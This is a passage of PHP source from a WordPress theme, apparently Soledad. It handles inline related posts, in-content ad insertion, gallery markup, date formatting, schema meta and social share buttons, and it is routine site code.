		$number = get_theme_mod('penci_inlinerp_num') ? get_theme_mod('penci_inlinerp_num') : '6';
		$align = get_theme_mod('penci_inlinerp_align') ? get_theme_mod('penci_inlinerp_align') : 'none';
		$by = get_theme_mod('penci_inlinerp_by') ? get_theme_mod('penci_inlinerp_by') : 'categories';
		$order = get_theme_mod('penci_inlinerp_order') ? get_theme_mod('penci_inlinerp_order') : 'rand';
		$orderby = get_theme_mod('penci_inlinerp_orderby') ? get_theme_mod('penci_inlinerp_orderby') : 'DESC';
		$hide_thumb = get_theme_mod('penci_inlinerp_hide_thumb') ? 'yes' : 'no';
		$thumb_right = get_theme_mod('penci_inlinerp_thumb_right') ? 'yes' : 'no';
		$date = get_theme_mod('penci_inlinerp_date') ? 'no' : 'yes';
		$views = get_theme_mod('penci_inlinerp_views') ? 'yes' : 'no';
		$grid_columns = get_theme_mod('penci_inlinerp_col') ? get_theme_mod('penci_inlinerp_col') : '2';

		if (true == $beaf) {
			$style = get_theme_mod('penci_inlinerp_style_insert') ? get_theme_mod('penci_inlinerp_style_insert') : 'list';
			$align = get_theme_mod('penci_inlinerp_align_insert') ? get_theme_mod('penci_inlinerp_align_insert') : 'none';
			$by = get_theme_mod('penci_inlinerpis_by') ? get_theme_mod('penci_inlinerpis_by') : 'categories';
			$order = get_theme_mod('penci_inlinerpis_order') ? get_theme_mod('penci_inlinerpis_order') : 'rand';
			$orderby = get_theme_mod('penci_inlinerpis_orderby') ? get_theme_mod('penci_inlinerpis_orderby') : 'DESC';
		}

		$shortcode = '[inline_related_posts style="' . $style . '" title="' . esc_attr($title) . '" title_align="' . $title_align . '" number="' . $number . '" align="' . $align . '" by="' . $by . '" order="' . $order . '" orderby="' . $orderby . '" hide_thumb="' . $hide_thumb . '" thumb_right="' . $thumb_right . '" date="' . $date . '" views="' . $views . '" grid_columns="' . $grid_columns . '"]';

		return $shortcode;
	}
}

if (get_theme_mod('penci_ads_inside_content_html') || get_theme_mod('penci_show_inlinerp_inside')) {
	require 'inc/modules/insert_ads.php';
}

if (!function_exists('penci_insert_post_content_ads') && get_theme_mod('penci_ads_inside_content_html')) {
	add_filter('the_content', 'penci_insert_post_content_ads');
	function penci_insert_post_content_ads($content) {
		// Check if the plugin WP Insert Content is activated.
		if (!function_exists('PenciDesign\Insert_Content\insert_content')) {
			return $content;
		}

		// Check if we're inside the main loop in a single post page.
		if (!(!is_admin() && is_single() && in_the_loop() && is_main_query())) {
			// Nope.
			return $content;
		}

		$ad_code = '<div class="penci-custom-html-inside-content">' . get_theme_mod('penci_ads_inside_content_html') . '</div>';
		$numpara = get_theme_mod('penci_ads_inside_content_num') ? get_theme_mod('penci_ads_inside_content_num') : 4;

		$args = array(
			'parent_element_id' => '',
			'insert_element' => 'div',
			'insert_after_p' => '',
			'insert_every_p' => $numpara,
			'insert_if_no_p' => false,
			'top_level_p_only' => true,
		);

		if (get_theme_mod('penci_ads_inside_content_style') == 'style-2') {
			$args['insert_after_p'] = $numpara;
			$args['insert_every_p'] = '';
		}

		$content = PenciDesign\Insert_Content\insert_content($content, $ad_code, $args);

		return $content;
	}
}

/* Inline related posts hooks to the_content() */
if (!function_exists('penci_insert_post_content_inline_rltposts') && get_theme_mod('penci_show_inlinerp_inside')) {
	add_filter('the_content', 'penci_insert_post_content_inline_rltposts');
	function penci_insert_post_content_inline_rltposts($content) {
		// Check if the plugin WP Insert Content is activated.
		if (!function_exists('PenciDesign\Insert_Content\insert_content')) {
			return $content;
		}

		if ( get_theme_mod( 'penci_inlinerp_hide_mobile' ) && penci_is_mobile() ) {
			return $content;
		}

		// Check if we're inside the main loop in a single post page.
		if (!(!is_admin() && is_single() && in_the_loop() && is_main_query())) {
			// Nope.
			return $content;
		}

		$shortcode = penci_inline_related_posts_shortcode(true);
		$inline_rtlposts = '<div class="penci-ilrltpost-insert">' . $shortcode . '</div>';
		$numpara = get_theme_mod('penci_show_inlinerp_p') ? get_theme_mod('penci_show_inlinerp_p') : 4;

		$args = array(
			'parent_element_id' => '',
			'insert_element' => 'div',
			'insert_after_p' => '',
			'insert_every_p' => $numpara,
			'insert_if_no_p' => false,
			'top_level_p_only' => true,
		);

		if (get_theme_mod('penci_show_inlinerp_inside') == 'norepeat') {
			$args['insert_after_p'] = $numpara;
			$args['insert_every_p'] = '';
		}

		$content = PenciDesign\Insert_Content\insert_content($content, $inline_rtlposts, $args);

		return $content;
	}
}

if (!function_exists('penci_insert_inline_rltposts_before_after') && get_theme_mod('penci_show_inlinerp')) {
	add_filter('the_content', 'penci_insert_inline_rltposts_before_after');
	function penci_insert_inline_rltposts_before_after($content) {
		// Check if we're inside the main loop in a single post page.
		if (!(!is_admin() && is_single() && in_the_loop() && is_main_query())) {
			// Nope.
			return $content;
		}

		$pos = get_theme_mod('penci_show_inlinerp');
		$shortcode = penci_inline_related_posts_shortcode();
		$inline_rtlposts = '<div class="penci-ilrltpost-beaf">' . do_shortcode($shortcode) . '</div>';

		if ('before' == $pos || 'be_af' == $pos) {
			$content = $inline_rtlposts . $content;
		}

		if ('after' == $pos || 'be_af' == $pos) {
			$content = $content . $inline_rtlposts;
		}

		return $content;
	}
}

/**
 * Get image title by image ID
 *
 * @since 5.2
 */
if (!function_exists('penci_add_meta_description_home')) {
	function penci_add_meta_description_home() {
		if (is_home() && get_theme_mod('penci_home_metadesc')) {
			$meta_description = esc_attr(get_theme_mod('penci_home_metadesc'));
			echo '<meta name="description" content="' . $meta_description . '"/>';
		}
	}
	add_action('wp_head', 'penci_add_meta_description_home', 1);
}

/**
 * Hook to change gallery
 *
 * @since 2.4.2
 */
if (!get_theme_mod('penci_post_disable_gallery')):
	include trailingslashit(PENCI_SOLEDAD_DIR) . 'inc/modules/gallery.php';
endif;

if (!function_exists('penci_get_ratio_img_basedid')) {
	function penci_get_ratio_img_basedid($id, $thumb = 'full') {
		$ratio = '66.6666667';
		$image = wp_get_attachment_image_src($id, $thumb);

		if (!empty($image)) {
			$img_width = isset($image[1]) ? $image[1] : '';
			$img_height = isset($image[2]) ? $image[2] : '';
			if ($img_width && $img_height) {
				$ratio = number_format(($img_height / $img_width) * 100, 8);
			}
		}

		$output = '<span class="penci-isotope-padding" style="padding-bottom:' . $ratio . '%;"></span>';

		return $output;
	}
}

/**
 * Hook to change markup for gallery
 *
 * @since 2.3
 */
if (!function_exists('penci_custom_markup_for_gallery') && !get_theme_mod('penci_post_disable_gallery')) {
	add_filter('post_gallery', 'penci_custom_markup_for_gallery', 10, 3);
	function penci_custom_markup_for_gallery($string, $attr) {

		/* Support Enhanced Media Library plugin */
		if (function_exists('wpuxss_eml_shortcode_atts')) {
			$attr = shortcode_atts(
				// defaults values
				array(
					'order' => '',
					'orderby' => '',
					'id' => '',
					'ids' => '',
					'type' => 'justified',
					'columns' => '',
					'include' => '',
				),
				$attr,
				'gallery'
			);
		}

		$data_height = '150';
		if (is_numeric(get_theme_mod('penci_image_height_gallery')) && (60 < get_theme_mod('penci_image_height_gallery'))) {
			$data_height = get_theme_mod('penci_image_height_gallery');
		}

		$id = '';
		$type = 'justified';
		$columns = '3';

		if (get_theme_mod('penci_gallery_dstyle')) {
			$type = get_theme_mod('penci_gallery_dstyle');
		}

		if (isset($attr['ids'])) {
			$id = $attr['ids'];
		}
		if (isset($attr['type'])) {
			$type_name = $attr['type'];
			if (in_array($type_name, array('justified', 'masonry', 'grid', 'single-slider', 'thumbnail-slider', 'none', '3d'))) {
				$type = $attr['type'];
			}
		}
		if ($type == 'grid'):
			$type = 'masonry grid';
		endif;

		if (isset($attr['columns']) && in_array($attr['columns'], array('2', '3', '4'))) {
			$columns = $attr['columns'];
		}

		if ($type == 'none') {
			return;}
		$slider_id = rand(1000, 100000);
		$block_id = 'penci-post-gallery__' . $slider_id;
		$order = isset($attr['order']) ? $attr['order'] : '';
		$orderby = isset($attr['orderby']) ? $attr['orderby'] : '';
		$posts = get_posts(
			array(
				'include' => $id,
				'post_type' => 'attachment',
				'order' => $order,
				'orderby' => $orderby,
			)
		);
		$ex_class = '';

		if ($type == 'thumbnail-slider') {
			$ex_class = ' penci-image-gallery-thumbnail-slider ';
		}
		
		if ($type == '3d') {
			$ex_class = ' penci-image-gallery-3d ';
		}

		$output = '<div data-sliderid="' . $slider_id . '" id="' . $block_id . '" class="penci-post-gallery-container ' . $ex_class . $type . ' column-' . $columns . '" data-height="' . $data_height . '" data-margin="3">';

		if ($type == 'masonry' || $type == 'masonry grid'):
			$output .= '<div class="inner-gallery-masonry-container">';
		endif;

		if ($type == '3d'):
			$output .= '<div class="inner-gallery-3d-container"><div class="pcgallery-3d-wrap">';
		endif;

		if ($type == 'single-slider'):
			$autoplay = !get_theme_mod('penci_disable_autoplay_single_slider') ? 'true' : 'false';
			$output .= '<div class="penci-owl-carousel swiper penci-owl-carousel-slider penci-nav-visible" data-auto="' . $autoplay . '" data-lazy="true"><div class="swiper-wrapper">';
		endif;

		if ($type == 'thumbnail-slider'):
			$output .= '<div data-id="pcthumb-m-' . $slider_id . '" class="swiper penci-slick-carousel pcthumb-s-msl pcthumb-m-' . $slider_id . '"><div class="swiper-wrapper">';
		endif;

		$thumbnail_html = '';

		if ($posts) {
			foreach ($posts as $imagePost) {
				$caption = '';
				$gallery_title = '';
				if ($imagePost->post_excerpt):
					$caption = $imagePost->post_excerpt;
				endif;
				if ($caption) {
					$gallery_title = ' data-cap="' . esc_attr($caption) . '"';
				}

				$get_full = wp_get_attachment_image_src($imagePost->ID, 'full');
				$get_masonry = wp_get_attachment_image_src($imagePost->ID, 'penci-masonry-thumb');
				$thumbsize = 'penci-masonry-thumb';

				$image_alt = penci_get_image_alt($imagePost->ID, get_the_ID());
				$image_title_html = penci_get_image_title($imagePost->ID);

				$class_a_item = 'penci-gallery-ite';
				if (!($type == 'masonry' || $type == 'masonry grid')) {
					$class_a_item = 'penci-gallery-ite item-gallery-' . $type;
				}

				if ($type == 'masonry' || $type == 'masonry grid' || $type == 'single-slider' || $type == 'thumbnail-slider') {
					$class_a_item .= ' item-link-relative';
				}

				if ($type == 'single-slider' || $type == 'thumbnail-slider'):
					$output .= '<figure class="swiper-slide">';
					$get_masonry = wp_get_attachment_image_src($imagePost->ID, 'penci-full-thumb');
					$thumbsize = 'penci-full-thumb';
				endif;

				if ($type == 'masonry grid'):
					$get_masonry = wp_get_attachment_image_src($imagePost->ID, 'penci-thumb');
					$thumbsize = 'penci-thumb';
				endif;

				if ($type == 'masonry' || $type == 'masonry grid') {
					$output .= '<div class="item-gallery-' . $type . '">';
				}

				$output .= '<a class="' . $class_a_item . '" href="' . $get_full[0] . '"' . $gallery_title . '>';

				if ($type == 'masonry' || $type == 'masonry grid'):
					$output .= '<div class="inner-item-masonry-gallery">';
				endif;

				if ($type == 'masonry' || $type == 'masonry grid' || $type == 'single-slider' || $type == 'thumbnail-slider') {
					$output .= penci_get_ratio_img_basedid($imagePost->ID, $thumbsize);
				}

				$output .= '<img src="' . $get_masonry[0] . '" alt="' . $image_alt . '"' . $image_title_html . '>';

				if ($type == 'justified' && $caption) {
					$output .= '<div class="caption">' . wp_kses(
						$caption,
						array(
							'em' => array(),
							'strong' => array(),
							'b' => array(),
							'i' => array(),
						)
					) . '</div>';
				}

				if ($type == 'masonry' || $type == 'masonry grid'):
					$output .= '</div>';
				endif;

				$output .= '</a>';

				// Close item-gallery-' . $style_gallery . '-wrap
				if ($type == 'masonry' || $type == 'masonry grid') {
					$output .= '</div>';
				}

				if ($type == 'single-slider' || $type == 'thumbnail-slider'):
					if ($caption):
						$output .= '<p class="penci-single-gallery-captions">' . $caption . '</p>';
					endif;
					$output .= '</figure>';
				endif;

				if ($type == 'thumbnail-slider') {
					$get_thumbnail_slider_img = wp_get_attachment_image_src($imagePost->ID, 'thumbnail');
					$thumbnail_html .= '<div class="pcgl-thumb-item swiper-slide"><div class="pcgl-thumb-item-img"><span class="penci-image-holder" style="background-image:url(' . $get_thumbnail_slider_img[0] . ')"></div></div>';
				}
			}
		}

		if ($type == 'masonry' || $type == 'single-slider' || $type == 'masonry grid' || $type == 'thumbnail-slider'):
			$output .= '</div>';
		endif;

		if ($type == 'thumbnail-slider' || $type == 'single-slider'):
			$output .= '</div>';
		endif;
		
		if ($type == '3d'):
			$output .= '</div></div>';
		endif;

		if ($type == 'thumbnail-slider') {
			$nav = '<div class="penci-slick-carousel-top-nav"><div class="pcslick-nav-area"><div class="pcslick-nav"><button type="button" class="slick-prev"><i class="penciicon-left-chevron"></i></button><button type="button" class="slick-next"><i class="penciicon-right-chevron"></i></button></div><div class="slider-num"><span class="current">1</span>' . __(' of ', 'soledad') . '<span class="total">' . count($posts) . '</span></div></div></div>';
			$output .= '<div data-cols="7" data-total="'.count($posts).'" data-id="pcthumb-c-' . $slider_id . '" class="swiper pcthumb-s-csl pcgl-thumb-slider penci-slick-carousel pcthumb-c-' . $slider_id . '"><div class="swiper-wrapper">' . $thumbnail_html . '</div>'.$nav.'</div>';
		}

		$output .= '</div>';

		return $output;
	}
}

/*
 * Create filter to hide header & footer
 */
if (!function_exists('penci_is_hide_header')) {
	function penci_is_hide_header() {
		$return = false;

		return apply_filters('penci_filter_hide_header', $return);
	}
}

if (!function_exists('penci_is_hide_footer')) {
	function penci_is_hide_footer() {
		$return = false;

		return apply_filters('penci_filter_hide_footer', $return);
	}
}

/**
 * Get next/prev posts data for current posts
 */
if (!function_exists('penci_get_next_prev_posts')) {
	function penci_get_next_prev_posts() {

		$type = get_theme_mod('penci_loadnp_type') ? get_theme_mod('penci_loadnp_type') : 'prev';
		$exclude = get_theme_mod('penci_loadnp_exclude') ? get_theme_mod('penci_loadnp_exclude') : '';
		$return = get_previous_post(false, $exclude);

		if ($type == 'next') {
			$return = get_next_post(false, $exclude);
		} elseif ($type == 'prev_cat') {
			$return = get_previous_post(true, $exclude, 'category');
		} elseif ($type == 'next_cat') {
			$return = get_next_post(true, $exclude, 'category');
		} elseif ($type == 'prev_tag') {
			$return = get_previous_post(true, $exclude, 'post_tag');
		} elseif ($type == 'next_tag') {
			$return = get_next_post(true, $exclude, 'post_tag');
		}

		return $return;
	}
}

if (!function_exists('penci_soledad_time_link')):
	/**
	 * Gets a nicely formatted string for the published date.
	 */
	function penci_soledad_time_link($single = null, $dformat = null) {
		$get_the_date = get_the_date(DATE_W3C);
		$get_the_time = get_the_time(get_option('date_format'));
		$get_the_datem = get_the_modified_date(DATE_W3C);
		$get_the_timem = get_the_modified_date(get_option('date_format'));
		$classes = 'published';
		$format = get_theme_mod('penci_date_format');
		if ('timeago' == $dformat) {
			$format = 'timeago';
		} elseif ('normal' == $dformat) {
			$format = 'normal';
		}
		$text_prefix_e = get_theme_mod( 'penci_addpre_date_text');

		$text_prefix = $text_prefix_e ? '<span>'.penci_get_setting('penci_trans_published').'</span> ' : '';

	if ($single == null || (is_single() && !get_theme_mod('penci_single_publishmodified'))) {
		if (get_theme_mod('penci_show_modified_date')) {
			$get_the_date = $get_the_datem;
			$get_the_time = $get_the_timem;
		}

		if ('timeago' == $format) {
			$current_time = current_time('timestamp');
			$post_time = get_the_time('U');
			if (get_theme_mod('penci_show_modified_date')) {
				$post_time = get_the_modified_time('U');
			}
			if ($current_time > $post_time) {
				$get_the_time = penci_get_setting('penci_trans_beforeago') . ' ' . human_time_diff($post_time, $current_time) . ' ' . penci_get_setting('penci_trans_tago');
			}
		}

		

		$time_string = '<time class="entry-date published" datetime="%1$s">' .$text_prefix.'%2$s</time>';
		
		if (get_the_modified_time('Y-m-d') > get_the_time('Y-m-d')) {
			if (get_theme_mod('penci_show_modified_date')) {
				$classes = 'updated';
				$text_prefix = $text_prefix_e ? '<span>'.penci_get_setting('penci_trans_modifiedat').'</span> ' : '';
			
			}
			$time_string = '<time class="entry-date ' . $classes . '" datetime="%1$s">' .$text_prefix. '%2$s</time>';
		}

		printf(
			$time_string,
			$get_the_date,
			$get_the_time
		);
	} elseif (is_single() && get_theme_mod('penci_single_publishmodified')) {
		if (get_the_time('Y-m-d') >= get_the_modified_time('Y-m-d')) {
			if ('timeago' == $format) {
				$current_time = current_time('timestamp');
				$post_time = get_the_time('U');
				if (get_theme_mod('penci_show_modified_date')) {
					$post_time = get_the_modified_time('U');
				}
				if ($current_time > $post_time) {
					$get_the_time = penci_get_setting('penci_trans_beforeago') . ' ' . human_time_diff($post_time, $current_time) . ' ' . penci_get_setting('penci_trans_tago');
				}
			} else {
				$get_the_time = $text_prefix.$get_the_time;
			}


			$time_string = '<time class="entry-date published" datetime="%1$s">%2$s</time>';
			printf(
				$time_string,
				$get_the_date,
				$get_the_time
			);
		} else {

			$time_string = '<strong>%1$s</strong> <time class="entry-date published" datetime="%2$s">%3$s</time></span><span><strong>%4$s</strong> <time class="entry-date modified" datetime="%5$s">%6$s</time>';
			printf(
				$time_string,
				penci_get_setting('penci_trans_published'),
				$get_the_date,
				$get_the_time,
				penci_get_setting('penci_trans_modifiedat'),
				$get_the_datem,
				$get_the_timem
			);
		}
	}
}
endif;

if (!function_exists('penci_soledad_meta_schema')) {
	/**
	 * Gets a nicely formatted string for the published date.
	 */
	function penci_soledad_meta_schema() {
		if (!get_theme_mod('penci_schema_hentry')) {
			?>
		<div class="penci-hide-tagupdated">
			<span class="author-italic author vcard"><?php echo penci_get_setting('penci_trans_by'); ?> <?php
if (function_exists('coauthors_posts_links')):
				penci_coauthors_posts_links();
			else:
			?>
										<a class="author-url url fn n"
											href="<?php echo get_author_posts_url(get_the_author_meta('ID')); ?>"><?php the_author();?></a>
									<?php endif;?></span>
			<?php if ( !is_page() ){ penci_soledad_time_link(); } ?>
		</div>
			<?php
}
	}
}

if (!function_exists('penci_get_the_title')) {
	function penci_get_the_title($post = 0) {

		$post = get_post($post);
		$title = isset($post->post_title) ? $post->post_title : '';

		return $title;
	}
}

if (!function_exists('penci_soledad_social_share')) {
	function penci_soledad_social_share($pos = '',$echo=true) {

		$list_social = array(
			'facebook',
			'twitter',
			'pinterest',
			'linkedin',
			'tumblr',
			'vk',
			'ok',
			'reddit',
			'stumbleupon',
			'whatsapp',
			'telegram',
			'line',
			'link',
			'pocket',
			'skype',
			'viber',
			'threads',
			'bluesky',
			'email',
		);

		$option_prefix = 'penci__hide_share_';

		$output = '';

		$count = 1;

		foreach ($list_social as $k => $social_key) {
			$list_social_item = penci_get_setting($option_prefix . $social_key);
			if ($list_social_item) {
				continue;
			}

			$class = 'new-ver-share';

			$link = get_permalink();
			$text = penci_get_the_title();
			$img_link = get_the_post_thumbnail_url();

			switch ($social_key) {
			case 'facebook':
				$facebook_share = 'https://www.facebook.com/sharer/sharer.php?u=' . get_the_permalink();
				$output .= '<a class="' . $class . ' post-share-item post-share-facebook" aria-label="Share on Facebook" target="_blank" ' . penci_reltag_social_icons() . ' href="' . esc_url($facebook_share) . '">' . penci_icon_by_ver('fab fa-facebook-f', '', true) . '<span class="dt-share">' . esc_html__('Facebook', 'soledad') . '</span></a>';
				break;
			case 'twitter':
				$twitter_text = 'Check out this article';
				if (get_theme_mod('penci_post_twitter_share_text')) {
					$twitter_text = do_shortcode(get_theme_mod('penci_post_twitter_share_text'));
				}
				$twitter_text = trim($twitter_text);

				$twitter_share = 'https://x.com/intent/tweet?text=' . rawurlencode($twitter_text) . ':%20' . rawurlencode($text) . '%20-%20' . get_the_permalink();
				$output .= '<a class="' . $class . ' post-share-item post-share-twitter" aria-label="Share on Twitter" target="_blank" ' . penci_reltag_social_icons() . ' href="' . esc_url($twitter_share) . '">' . penci_icon_by_ver('penciicon-x-twitter', '', true) . '<span class="dt-share">' . esc_html__('Twitter', 'soledad') . '</span></a>';

				break;
			case 'pinterest':
				if ('single' == $pos) {
					$output .= '<a class="' . $class . ' post-share-item post-share-pinterest" aria-label="Pin to Pinterest" data-pin-do="none" ' . penci_reltag_social_icons() . ' onclick="var e=document.createElement(\'script\');';
					$output .= 'e.setAttribute(\'type\',\'text/javascript\');';
					$output .= 'e.setAttribute(\'charset\',\'UTF-8\');';
					$output .= 'e.setAttribute(\'src\',\'//assets.pinterest.com/js/pinmarklet.js?r=\'+Math.random()*99999999);';
					$output .= 'document.body.appendChild(e);';
					$output .= '">';
					$output .= penci_icon_by_ver('fab fa-pinterest', '', true) . '<span class="dt-share">' . esc_html__('Pinterest', 'soledad') . '</span></a>';
				} else {
					$output .= '<a class="' . $class . ' post-share-item post-share-pinterest" aria-label="Pin to Pinterest" data-pin-do="none" ' . penci_reltag_social_icons() . ' target="_blank" href="';
					$output .= 'https://www.pinterest.com/pin/create/button/?url=' . urlencode($link);
					if (has_post_thumbnail()) {
						$output .= '&media=' . urlencode($img_link);
					}
					if ($text) {
						$output .= '&description=' . urlencode($text);}
					$output .= '">' . penci_icon_by_ver('fab fa-pinterest', '', true) . '<span class="dt-share">' . esc_html__('Pinterest', 'soledad') . '</span></a>';
				}

				break;

			case 'linkedin':
				$link = htmlentities(
					add_query_arg(
						array(
							'url' => rawurlencode($link),
							'title' => rawurlencode($text),
						),
						'https://www.linkedin.com/shareArticle?mini=true'
					)
				);

				$output .= '<a class="' . $class . ' post-share-item post-share-linkedin" aria-label="Share on LinkedIn" target="_blank" ' . penci_reltag_social_icons() . ' href="' . esc_url($link) . '">' . penci_icon_by_ver('fab fa-linkedin-in', '', true) . '<span class="dt-share">' . esc_html__('Linkedin', 'soledad') . '</span></a>';
				break;

			case 'tumblr':
				$link = htmlentities(
					add_query_arg(
						array(
							'url' => rawurlencode($link),
							'name' => rawurlencode($text),
						),
						'https://www.tumblr.com/share/link'
					)
				);
				$output .= '<a class="' . $class . ' post-share-item post-share-tumblr" aria-label="Share on Tumblr" target="_blank" ' . penci_reltag_social_icons() . ' href="' . esc_url($link) . '">' . penci_icon_by_ver('fab fa-tumblr', '', true) . '<span class="dt-share">' . esc_html__('Tumblr', 'soledad') . '</span></a>';
				break;

			case 'messenger':
				$link = htmlentities(
					add_query_arg(
						array(
							'link' => rawurlencode($link),
							'redirect_uri' => rawurlencode($text),
						),
						'https://www.facebook.com/dialog/send?app_id=5303202981&display=popup'
					)
				);
				$output .= '<a class="' . $class . ' post-share-item post-share-messenger show-on-mobile" aria-label="Share on Messenger" target="_blank" ' . penci_reltag_social_icons() . ' href="fb-messenger://share?app_id=5303202981&display=popup&link=' . rawurlencode($link) . '&redirect_uri=' . rawurlencode($link) . '">' . penci_icon_by_ver('penciicon-messenger', '', true) . '<span class="dt-share">' . esc_html__('Messenger', 'soledad') . '</span></a>';
				$output .= '<a class="' . $class . ' post-share-item post-share-messenger show-on-desktop" aria-label="Share on Messenger" target="_blank" ' . penci_reltag_social_icons() . ' href="' . esc_url($link) . '">' . penci_icon_by_ver('penciicon-messenger', '', true) . '<span class="dt-share">' . esc_html__('Messenger', 'soledad') . '</span></a>';
				break;

			case 'vk':
				$link = 'https://vk.com/share.php?url=' . get_the_permalink();
				$output .= '<a class="' . $class . ' post-share-item post-share-vk" aria-label="Share on VK" target="_blank" ' . penci_reltag_social_icons() . ' href="' . esc_url($link) . '">' . penci_icon_by_ver('fab fa-vk', '', true) . '<span class="dt-share">' . esc_html__('VK', 'soledad') . '</span></a>';
				break;

			case 'ok':
				$link = 'https://connect.ok.ru/dk?st.cmd=WidgetSharePreview&st.shareUrl=' . $link . '&amp;description=' . $text . '&amp;media=' . $img_link;
				$output .= '<a class="' . $class . ' post-share-item post-share-ok" aria-label="Share on Odnoklassniki" target="_blank" ' . penci_reltag_social_icons() . ' href="' . esc_url($link) . '">' . penci_icon_by_ver('fab fa-odnoklassniki', '', true) . '<span class="dt-share">' . esc_html__('Odnoklassniki', 'soledad') . '</span></a>';
				break;

			case 'reddit':
				$link = htmlentities(
					add_query_arg(
						array(
							'url' => rawurlencode($link),
							'title' => rawurlencode($text),
						),
						'https://reddit.com/submit'
					)
				);
				$output .= '<a class="' . $class . ' post-share-item post-share-reddit" aria-label="Share on Reddit" target="_blank" ' . penci_reltag_social_icons() . ' href="' . esc_url($link) . '">' . penci_icon_by_ver('fab fa-reddit-alien', '', true) . '<span class="dt-share">' . esc_html__('Reddit', 'soledad') . '</span></a>';
				break;

			case 'stumbleupon':
				$link = htmlentities(
					add_query_arg(
						array(
							'url' => rawurlencode($link),
							'title' => rawurlencode($text),
						),
						'https://www.stumbleupon.com/submit'
					)
				);
				$output .= '<a class="' . $class . ' post-share-item post-share-stumbleupon" aria-label="Share on Stumbleupon" target="_blank" ' . penci_reltag_social_icons() . ' href="' . esc_url($link) . '">' . penci_icon_by_ver('fab fa-stumbleupon', '', true) . '<span class="dt-share">' . esc_html__('Stumbleupon', 'soledad') . '</span></a>';
				break;

			case 'email':
				$link = esc_url('mailto:?subject=' . $text . '&BODY=' . $link);
				$output .= '<a class="' . $class . ' post-share-item post-share-email" target="_blank" aria-label="Share via Email" ' . penci_reltag_social_icons() . ' href="' . esc_url($link) . '">' . penci_icon_by_ver('fas fa-envelope', '', true) . '<span class="dt-share">' . esc_html__('Email', 'soledad') . '</span></a>';
				break;
			
			case 'link':
				$link = esc_url($link);
				$output .= '<a class="' . $class . ' post-share-item post-share-link" target="_blank" aria-label="Copy Post Link" ' . penci_reltag_social_icons() . ' href="' . esc_url($link) . '">' . penci_icon_by_ver('fas fa-link', '', true) . '<span class="dt-share">' . esc_html__('Copy Link', 'soledad') . '</span></a>';
				break;

			case 'telegram':
				$link = htmlentities(
					add_query_arg(
						array(
							'url' => rawurlencode($link),
							'text' => rawurlencode($text),
						),
						'https://telegram.me/share/url'
					)
				);
				$output .= '<a class="' . $class . ' post-share-item post-share-telegram" aria-label="Share on Telegram" target="_blank" ' . penci_reltag_social_icons() . ' href="' . esc_url($link) . '">' . penci_icon_by_ver('fab fa-telegram', '', true) . '<span class="dt-share">' . esc_html__('Telegram', 'soledad') . '</span></a>';
				break;

			case 'whatsapp':
				$link = htmlentities(
					add_query_arg(
						array(
							'text' => rawurlencode($text) . ' %0A%0A ' . rawurlencode($link),
						),
						'https://api.whatsapp.com/send'
					)
				);
				$output .= '<a class="' . $class . ' post-share-item post-share-whatsapp" aria-label="Share on Whatsapp" target="_blank" ' . penci_reltag_social_icons() . ' href="' . ($link) . '">' . penci_icon_by_ver('fab fa-whatsapp', '', true) . '<span class="dt-share">' . esc_html__('Whatsapp', 'soledad') . '</span></a>';
				break;

			case 'line':
				$line_share = 'https://line.me/R/msg/text/?' . rawurlencode($text) . '%20' . rawurlencode($link);
				$output .= '<a class="' . $class . ' post-share-item post-share-line" target="_blank" ' . penci_reltag_social_icons() . ' href="' . esc_url($line_share) . '">' . penci_icon_by_ver('penciicon-line', '', true) . '<span class="dt-share">' . esc_html__('LINE', 'soledad') . '</span></a>';
				break;

			case 'pocket':
				$link = 'https://getpocket.com/save?title=' . $text . '&amp;url=' . $link;
				$output .= '<a class="' . $class . ' post-share-item post-share-pocket" aria-label="Share on Pocket" target="_blank" ' . penci_reltag_social_icons() . ' href="' . esc_url($link) . '">' . penci_icon_by_ver('fab fa-get-pocket', '', true) . '<span class="dt-share">' . esc_html__('Pocket', 'soledad') . '</span></a>';
				break;

			case 'skype':
				$link = 'https://web.skype.com/share?url=' . $link . '&text=' . $text;
				$output .= '<a class="' . $class . ' post-share-item post-share-skype" aria-label="Share on Skype" target="_blank" ' . penci_reltag_social_icons() . ' href="' . esc_url($link) . '">' . penci_icon_by_ver('fab fa-skype', '', true) . '<span class="dt-share">' . esc_html__('Skype', 'soledad') . '</span></a>';
				break;

			case 'viber':
				$link = 'viber://forward?text=' . rawurlencode($text) . '%20' . rawurlencode($link);
				$output .= '<a class="' . $class . ' post-share-item post-share-viber" aria-label="Share on Viber" target="_blank" ' . penci_reltag_social_icons() . ' href="' . ($link) . '">' . penci_icon_by_ver('penciicon-viber', '', true) . '<span class="dt-share">' . esc_html__('Viber', 'soledad') . '</span></a>';
				break;
				
			case 'threads':
				$link = 'https://threads.net/intent/post?text=' . rawurlencode($text) . '&amp;url=' . rawurlencode($link);
				$output .= '<a class="' . $class . ' post-share-item post-share-threads" aria-label="Share on Threads" target="_blank" ' . penci_reltag_social_icons() . ' href="' . ($link) . '">' . penci_icon_by_ver('penciicon-threads', '', true) . '<span class="dt-share">' . esc_html__('Threads', 'soledad') . '</span></a>';
				break;
				
			case 'bluesky':
				$link = 'https://bsky.app/intent/compose?text=' . rawurlencode($text) . '%20' . rawurlencode($link);
				$output .= '<a class="' . $class . ' post-share-item post-share-bluesky" aria-label="Share on Bluesky" target="_blank" ' . penci_reltag_social_icons() . ' href="' . ($link) . '">' . penci_icon_by_ver('penciicon-butterfly', '', true) . '<span class="dt-share">' . esc_html__('Bluesky', 'soledad') . '</span></a>';
				break;

			default:
				$output .= '';
				break;
			}
		}

		if ( ( is_single() || is_page() ) && $output != '' ) {
			$output .= '<a class="post-share-item post-share-expand" href="#" aria-label="Share Expand">' . penci_icon_by_ver('penciicon-add', '', true) . '</a>';
		}

		if ($output && $echo ) {
			if ('single' == $pos) {
				echo '<div class="list-posts-share">';
			}
			echo $output;

			if ('single' == $pos) {
				echo '</div>';
			}
		} else {
			return $output;
		}
	}
}

if (!function_exists('penci_get_single_style')) {
	function penci_get_single_style() {
		static $single_style;
		$single_style = 'style-1';

		$style_psingle = get_post_meta(get_the_ID(), 'penci_single_style', true);
		if ($style_psingle) {
			$single_style = $style_psingle;

			return $single_style;
		}

		$style = get_theme_mod('penci_single_style');
		$enable_style2 = get_theme_mod('penci_enable_single_style2');

		if (!get_theme_mod('penci_single_style') && $enable_style2) {
			$single_style = 'style-2';
		} elseif ($style) {
			$single_style = $style;
		}

		return $single_style;
	}
}

if (!function_exists('penci_get_primary_cat_id')) {
	function penci_get_primary_cat_id($taxonomy_name = 'category') {
		$primary_term_id = '';

		if (!function_exists('yoast_get_primary_term_id') && !class_exists('RankMath')) {
			$the_category = get_the_category();
